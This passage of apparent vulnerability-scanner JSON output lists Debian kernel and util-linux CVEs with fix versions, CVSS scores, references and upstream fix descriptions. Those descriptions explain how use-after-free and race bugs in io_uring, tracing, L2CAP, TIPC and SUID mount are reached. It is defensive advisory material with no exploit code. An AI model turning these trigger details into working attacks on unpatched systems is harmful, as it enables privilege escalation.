0)\n\n__io_waitid_cancel() marks a request canceled, then increments the low\nbits of -\u003erefs to claim completion ownership. When another path owns the\nrequest, the increment remains even though cancellation returns false.\nThe request remains discoverable by cancellation, so repeated failed\nattempts can wrap the 31-bit reference field to zero. A later\ncancellation can claim ownership and complete the request a second time.\n\nUse atomic_fetch_or() when setting the cancel flag and inspect the old\nflag value. The first cancel attempt continues to the existing ownership\nincrement, preserving its wake and issuer handoff semantics. Later\nattempts see the cancel flag and return without incrementing the\nreference field.\n\nThis makes repeated failed cancellation attempts idempotent while\nleaving the first-cancel state transitions unchanged.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99227", "https://git.kernel.org/stable/c/20b67288574c7c3df6b8ea7ed3b7af90a868006f", "https://git.kernel.org/stable/c/22fb4a4518e305164c7f203608287564de292f34", "https://git.kernel.org/stable/c/5bfeee1774791602a0d53eb717f00f172127a017", "https://git.kernel.org/stable/c/857aa2012b91cad6fdef54a4b6c632d9d0b6e64f", "https://git.kernel.org/stable/c/98787d3fa4e99564d2b2bc21255b21f670c450d0", "https://nvd.nist.gov/vuln/detail/CVE-2026-99227", "https://www.cve.org/CVERecord?id=CVE-2026-99227" ], "PublishedDate": "2026-11-02T16:17:47.42Z", "LastModifiedDate": "2026-11-03T20:18:28.357Z" }, { "VulnerabilityID": "CVE-2026-99231", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99231", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ff8f312836e8139ffeaea10f8e4988a4ecc191556db3fd9fa85b208795d4b4ed", "Title": "kernel: kernel: Privilege escalation via use-after-free in io_uring waitid", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/waitid: own the request before clearing -\u003ehead\n\nio_waitid_remove_wq() only takes the wait queue lock if -\u003ehead is set.\nio_waitid_wait() clears -\u003ehead first thing, before it tries to become the\nowner of the request by bumping -\u003erefs. If somebody else owns the request\nat that point, nothing keeps it from completing the request while the\nwake up handler is still going to touch it:\n\nCPU0 (io_waitid_wait) CPU1 (io_waitid, holds a ref)\nlist_del_init(\u0026wait-\u003eentry)\nsmp_store_release(\u0026iw-\u003ehead, NULL)\n __do_wait() finds another child\n io_waitid_remove_wq()\n // -\u003ehead == NULL, no locking\n io_waitid_finish(), IOU_COMPLETE\n // request freed and reused\natomic_fetch_inc(\u0026iw-\u003erefs)\n\nThe same goes for __io_waitid_cancel() if it claims the request in that\nwindow. -\u003erefs is part of the per opcode data of the request, so this\nincrements whatever the next user of the request keeps there. If that\nhappens to be zero, the handler concludes that it owns the request, and\nqueues io_waitid_cb() for it. With the window held open by a delay, and\nthe request reused for a receive that is waiting for data:\n\n BUG: KASAN: slab-use-after-free in __wake_up_common+0x1ca/0x1f0\n __wake_up_sync_key+0x36/0x50\n sock_def_readable+0xf1/0x420\n unix_stream_sendmsg+0x60b/0x1110\n Allocated by task 87:\n io_arm_apoll+0x1ed/0x940\n Freed by task 87:\n __io_submit_flush_completions+0x118d/0x1a10\n tctx_task_work_run+0x327/0x950\n\nOnly clear -\u003ehead once the handler owns the request. If it doesn't, the\nowner finds -\u003ehead set and has to wait for the lock, which is held by the\ncaller of the handler. Deleting the already deleted entry again is\nharmless.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99231", "https://git.kernel.org/stable/c/6e11ce129b34fb9a43b2bbe838df49ea52878d5c", "https://git.kernel.org/stable/c/8381a912c65b8de16e8a848225c7c5a56b6ea834", "https://git.kernel.org/stable/c/bf01da1a9cca4a54e5c30b8344e52c26afb87be7", "https://git.kernel.org/stable/c/c10ad2813e15186fb51b37a4d17fafddc99e89a5", "https://git.kernel.org/stable/c/c254eec4364b9f4b4cbdce43be3fb4df5a651a70", "https://nvd.nist.gov/vuln/detail/CVE-2026-99231", "https://www.cve.org/CVERecord?id=CVE-2026-99231" ], "PublishedDate": "2026-11-02T16:17:48.06Z", "LastModifiedDate": "2026-11-06T18:18:33.167Z" }, { "VulnerabilityID": "CVE-2026-99233", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99233", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:67aeeb27adff9d4cf8eff42017989b24836cc11d6c66db6b4cfd720e31405aa3", "Title": "kernel: kernel: Privilege escalation via use-after-free in tracing subsystem", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/histograms: Verify event_call identity when updating synth_event refcount\n\nIn event_hist_trigger_parse() and hist_unreg_all(), the histogram\nregistration and unregistration paths look up find_synth_event() using\ntrace_event_name(file-\u003eevent_call) and adjust se-\u003eref if a match is\nfound.\n\nBecause find_synth_event() only compares the event basename, registering\nor removing a histogram on a non-synthetic trace event whose basename\nmatches a synthetic event erroneously modifies the synthetic event's\nreference count. If a histogram is registered on the non-synthetic\nevent before the synthetic event is created and removed afterwards,\nse-\u003eref is decremented without a matching increment, allowing the\nsynthetic event to be freed while an active histogram action still holds\na pointer to it.\n\nIntroduce find_synth_event_call() to verify that \u0026se-\u003ecall matches\nfile-\u003eevent_call before adjusting se-\u003eref.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99233", "https://git.kernel.org/stable/c/06e816bed499fe47f39f12044382cc5d064485fb", "https://git.kernel.org/stable/c/23b4106e8b35823acc79e206c7745f55b9cfd78b", "https://git.kernel.org/stable/c/3403d9bb27ebc3572bd048620746b4414e073bf9", "https://git.kernel.org/stable/c/381f543ed35c434d5b707369aa5dcd69ecf440af", "https://git.kernel.org/stable/c/4472579bd1c83708b6fe623c870cdf728e947205", "https://git.kernel.org/stable/c/5597bb8db6855fcb97a67196d227fea359bcd81c", "https://git.kernel.org/stable/c/cf4e31d5da80fae4c9cdbe7af55b7c3ad213f0e4", "https://nvd.nist.gov/vuln/detail/CVE-2026-99233", "https://www.cve.org/CVERecord?id=CVE-2026-99233" ], "PublishedDate": "2026-11-02T16:17:48.39Z", "LastModifiedDate": "2026-11-03T20:18:29.27Z" }, { "VulnerabilityID": "CVE-2026-99235", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99235", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:911a34f27044604e7b58f672c75f1268709f6d25b8557a35b82421de5bbb7dca", "Title": "kernel: kernel: Privilege escalation via use-after-free in event tracing subsystem", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Save the event file instead of the compatible histogram\n\ncreate_field_var_hist() creates a histogram on the matched event to\nsupply a field variable, and records it on the target so it can be torn\ndown later:\n\n\thist_data = find_compatible_hist(target_hist_data, file);\n\t...\n\t/* Save the compatible histogram information */\n\tvar_hist-\u003ehist_data = hist_data;\n\nhist_data is not the histogram it creates. It is one that was already\nthere, whose keys the new one copies. The saved pointer has a single\nuser, unregister_field_var_hists(), which runs when the target is\nremoved:\n\n\tfile = hist_data-\u003efield_var_hists[i]-\u003ehist_data-\u003eevent_file;\n\nfind_compatible_hist() matches on keys alone, so it can pick one with no\nvariables of its own. check_var_refs() then returns false and the user\ncan remove it while the target still points at it:\n\n BUG: KASAN: slab-use-after-free in event_hist_trigger_free+0x2b2/0x320\n Read of size 8 at addr ffff8880093b90e0 by task init/1\n\n Freed by task 1:\n kfree+0x154/0x420\n event_hist_trigger_free+0x1d5/0x320\n event_hist_trigger_parse+0x35f3/0x69e0\n trigger_process_regex+0x1a6/0x250\n\nSave the event file instead. It is all the dereference ever wanted, and\nit does not go away when the user removes a trigger.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99235", "https://git.kernel.org/stable/c/173914501b97236d7ea7dc2af7f30feddd4e1436", "https://git.kernel.org/stable/c/3609ada3c12cecfb0ae5ee82ef4f86c5f18a2dea", "https://git.kernel.org/stable/c/7a111ba0d1b74c99bc8f096565dc71945f694254", "https://git.kernel.org/stable/c/7cafc82e6153f05a221be678cd649d02e06ba909", "https://git.kernel.org/stable/c/8b307d64a60548e4a74cb746f74d7ed4bd49965e", "https://git.kernel.org/stable/c/9631dbccd3c649b567a5aafffea6b00634183997", "https://git.kernel.org/stable/c/a6165126b1a1b26342b55be6eb6ee23af8756aba", "https://git.kernel.org/stable/c/ac815a379644b2ad5008a009a3516ada31b5dd82", "https://git.kernel.org/stable/c/d5c42664fc094899af9aae5300b27fe8fdb658ef", "https://nvd.nist.gov/vuln/detail/CVE-2026-99235", "https://www.cve.org/CVERecord?id=CVE-2026-99235" ], "PublishedDate": "2026-11-02T16:17:48.79Z", "LastModifiedDate": "2026-11-03T20:18:29.627Z" }, { "VulnerabilityID": "CVE-2026-99236", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99236", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0dc444c5aa3e547a65fe63071abc0e8b4b7fe15ff1c2ed219bafb6b01b36e557", "Title": "kernel: kernel: privilege escalation via incomplete event filter expressions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Reject incomplete event filter expressions\n\nA non-empty expression normally finishes in predicate_parse()'s inner\nloop, which resolves the pending logical operators before jumping to\nfinalization. If the input ends after an operator, possibly followed by\nunary '!' tokens, the outer loop instead falls through with unresolved\noperator state.\n\nFor example, \"common_pid == 1 || common_pid == 2 \u0026\u0026\" leaves\nprog[0].target equal to -1. The second pass then reads prog[-1] before\nthe forward-jump check can reject it. Depending on adjacent slab\ncontents, it can also copy an out-of-bounds word into a branch target\nthat passes the forward-only check. A self-targeted perf tracepoint\ncounting event can reach this path through PERF_EVENT_IOC_SET_FILTER.\n\nReject the outer-loop fallthrough when a predicate has already been\nparsed. This ensures that non-empty expressions only reach finalization\nafter the inner loop has resolved their operators. Keep the existing\nno-filter error for input that has no predicates. Add a regression test\nfor trailing logical operators and unary negations.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99236", "https://git.kernel.org/stable/c/1008e9e0b8280d47f1ab5e9c113f666a023a9697", "https://git.kernel.org/stable/c/15ff3cc7f2beecc3f95d66358f20ad7b057466aa", "https://git.kernel.org/stable/c/1fdc4164e488916402badddbb1f51e9380dabb91", "https://git.kernel.org/stable/c/2a98f5d4913ec081e08e1075512cb7ec313d9f72", "https://git.kernel.org/stable/c/4a1a6d35359991c5d47f4bf101cfbe1475c94093", "https://git.kernel.org/stable/c/5a999b5a16530898f0dbe5f8c50fd45ea72e110b", "https://git.kernel.org/stable/c/5bcdf3c18c3471122ee9652b0e2f5cdb718d9a46", "https://git.kernel.org/stable/c/64993d970dde2a2da353e9e99595a4fa88ec27d9", "https://git.kernel.org/stable/c/b205ff58e02922ac324f931cf9eb238a3acdb048", "https://nvd.nist.gov/vuln/detail/CVE-2026-99236", "https://www.cve.org/CVERecord?id=CVE-2026-99236" ], "PublishedDate": "2026-11-02T16:17:49.003Z", "LastModifiedDate": "2026-11-03T20:18:29.827Z" }, { "VulnerabilityID": "CVE-2026-99239", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99239", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b68e4c9e88b93aa02d02e38a2bec3d5669e03b979a40c737d1133b160a7ba067", "Title": "kernel: kernel: Privilege escalation via race condition in Bluetooth L2CAP", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: refuse __l2cap_chan_add if chan already has conn\n\nl2cap_chan may be linked to l2cap_conn at most once. This is assumed in\nseveral places, eg l2cap_chan_del cleanup.\n\nThere is a TOCTOU race where the invariant is violated:\n\n [Task 1] [Task 2]\n l2cap_chan_connect l2cap_sock_bind\n l2cap_chan_lock lock_sock\n l2cap_state_change if (sk-\u003esk_state != BT_OPEN)\n chan-\u003estate = BT_CONNECT\n l2cap_sock_state_change_cb chan-\u003estate = BT_BOUND\n sk-\u003esk_state = BT_BOUND\n lock_sock \u003c------------------ release_sock\n sk-\u003esk_state = BT_CONNECT\n\nl2cap_sock_connect() does not check sk-\u003esk_state, so since chan-\u003estate\nis now BT_BOUND, subsequent connect() ends up with second\n__l2cap_chan_add.\n\nExplicitly document and check the invariant in __l2cap_chan_add with\nWARN_ON_ONCE. The only callsite where it could be hit is\nl2cap_chan_connect, so add pre-check there to avoid relying on\nchan-\u003estate. chan-\u003estate read/write is not properly guarded currently so\nthere can be other TOCTOUC problems.\n\nAdd l2cap_lock_chan in l2cap_sock_bind() to guard chan-\u003estate write.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99239", "https://git.kernel.org/stable/c/10c705dd706aa93164ba41f2566f15206d6c178e", "https://git.kernel.org/stable/c/52fe88e4ef87311eee32b45c65603e7c69e75e7d", "https://git.kernel.org/stable/c/73820561d8cbfd3364a29b8fa77f1707f26029da", "https://git.kernel.org/stable/c/820579652b24ce277e0097cd65b42bd9b7b8bf07", "https://git.kernel.org/stable/c/85cc289eb08afa975375f838187369e68b429ee0", "https://git.kernel.org/stable/c/86b55991d3cd690e73c5ef8d20b75ae4905b357a", "https://git.kernel.org/stable/c/d3afd7803f9bc2a8c4270199497b60158b2fc647", "https://git.kernel.org/stable/c/e618d928ec7f88cbeadfa3542adcac40f474e629", "https://git.kernel.org/stable/c/fabaff1c59ff2cc89cb7e5bd0186a5e15f0c73b2", "https://nvd.nist.gov/vuln/detail/CVE-2026-99239", "https://www.cve.org/CVERecord?id=CVE-2026-99239" ], "PublishedDate": "2026-11-02T16:17:49.54Z", "LastModifiedDate": "2026-11-03T20:18:30.28Z" }, { "VulnerabilityID": "CVE-2026-99246", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99246", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:97175aeb83fc5ce1b5e826f032550fd82ea600decaa66c19e43f84b61390093c", "Title": "kernel: kernel: Arbitrary code execution via use-after-free in TIPC subsystem", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: protect node reset trace dump with node lock\n\nThe tipc_node_reset_links trace event asks tipc_node_dump() to walk the\nnode's link entries. Unlike the other node events that request link data,\nthis event runs without the node lock.\n\nThis permits bearer teardown to free a link while the trace callback is\ndumping it:\n\n CPU 0 CPU 1\n trace_tipc_node_reset_links()\n tipc_node_dump()\n l = n-\u003elinks[0].link\n tipc_node_write_lock()\n kfree(l)\n n-\u003elinks[0].link = NULL\n tipc_node_write_unlock()\n tipc_link_dump(l)\n\ntipc_link_dump() then dereferences the stale pointer. KASAN reported:\n\n BUG: KASAN: slab-use-after-free in tipc_link_dump\n Read of size 4 by task poc/115\n Call Trace:\n tipc_link_dump+0x10cb/0x16b0\n tipc_node_dump+0x4bb/0x740\n trace_event_raw_event_tipc_node_class+0x258/0x360\n tipc_node_reset_links+0x14d/0x1a0\n tipc_rcv+0x13f5/0x3030\n tipc_udp_recv+0x4e3/0x670\n Allocated by task 0:\n tipc_link_create+0x1e1/0x1020\n tipc_node_check_dest+0x7d2/0x11a0\n tipc_disc_rcv+0xdbf/0x1430\n Freed by task 89:\n kfree+0x131/0x3c0\n tipc_node_link_down+0x267/0x4b0\n tipc_node_delete_links+0xec/0x160\n bearer_disable+0x107/0x260\n\nTake the node write lock around the trace event. This serializes the\ndump against tipc_node_link_down(delete=true), which frees the link\nunder the same write lock.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99246", "https://git.kernel.org/stable/c/6abd93d01b0f495f29201925a5ee8e6a583c4044", "https://git.kernel.org/stable/c/6e492cb98ca69cc1145175e23e22e3b84da7f26d", "https://git.kernel.org/stable/c/7bb6a35bd6d69019539d8782fb590fd2aa8a3236", "https://git.kernel.org/stable/c/a6101d62ccfa153db8c218ce59362b8e0316fd4f", "https://git.kernel.org/stable/c/b8b7d28dc2b7472ffd1eff3954c38f1976b21a7b", "https://git.kernel.org/stable/c/c8b72ca0918e95f708f67c8b3e69b05290f2b6d2", "https://git.kernel.org/stable/c/dddf197f29ba5e47a476dde82bf542ca2e0d5e5e", "https://git.kernel.org/stable/c/fa8c78c0e49aa11fae116fd841e41aa8f2d68751", "https://nvd.nist.gov/vuln/detail/CVE-2026-99246", "https://www.cve.org/CVERecord?id=CVE-2026-99246" ], "PublishedDate": "2026-11-03T12:17:31.03Z", "LastModifiedDate": "2026-11-03T20:18:31.013Z" }, { "VulnerabilityID": "CVE-2026-99999", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99999", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4da52158e2e077b874915e7019b91ca8f07c2698caa4efd0b6f82bab572173fe", "Title": "kernel: ipv4: validate checksum_start before completing checksum", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: validate checksum_start before completing checksum\n\nIf a packet with bad checksum metadata gets into the ipv4 stack,\nskb_checksum_help can corrupt the network header and cause a bunch of\nmischief.\n\nThis was discovered and reported by Paulos, and has been reporoduced\nby others independently since.\n\nWe really shouldn't allow such packets in, but as a defence\nin depth measure, let's also check before we complete the checksum.\n\nA more complete validation at input is forthcoming, but needs more work.", "Severity": "HIGH", "CweIDs": [ "CWE-20" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/15/5", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-99999", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/6785011f8b16abf40b1e9d8b2e332232b3e68822%20%286.3-rc7%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99999.mbox", "https://git.kernel.org/stable/c/0fab003ef4698e0628060a45a48f14b43ba2a40a", "https://git.kernel.org/stable/c/32a8b0adaa18e52aaa0b246b5ffe683075354dbb", "https://git.kernel.org/stable/c/6785011f8b16abf40b1e9d8b2e332232b3e68822", "https://git.kernel.org/stable/c/94524b7b32691de2e2ce162c04d6cbc9106e5cbf", "https://git.kernel.org/stable/c/a464d950f31c89565cbaae038cc60db04fe01956", "https://git.kernel.org/stable/c/a65f69e0f38ffbed1b128029e09097436416dc8b", "https://git.kernel.org/stable/c/c3e33464746166264334641dc850a36eef7e6326", "https://git.kernel.org/stable/c/f3e835af6226f1dd12160cbd696081e9b6155de0", "https://linux.oracle.com/cve/CVE-2026-99999.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-99999", "https://pwn.ai/blog/pwnescape", "https://vercel.com/blog/findings-from-the-1-million-dollar-vercel-sandbox-challenge", "https://www.cve.org/CVERecord?id=CVE-2026-99999" ], "PublishedDate": "2026-10-15T13:17:14.137Z", "LastModifiedDate": "2026-10-19T22:17:28.667Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "c0ab0b857644733b" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c38be3095c989ace84cb99609259ed56a34d1f575462bd3dc3bced3b0887acbf", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", 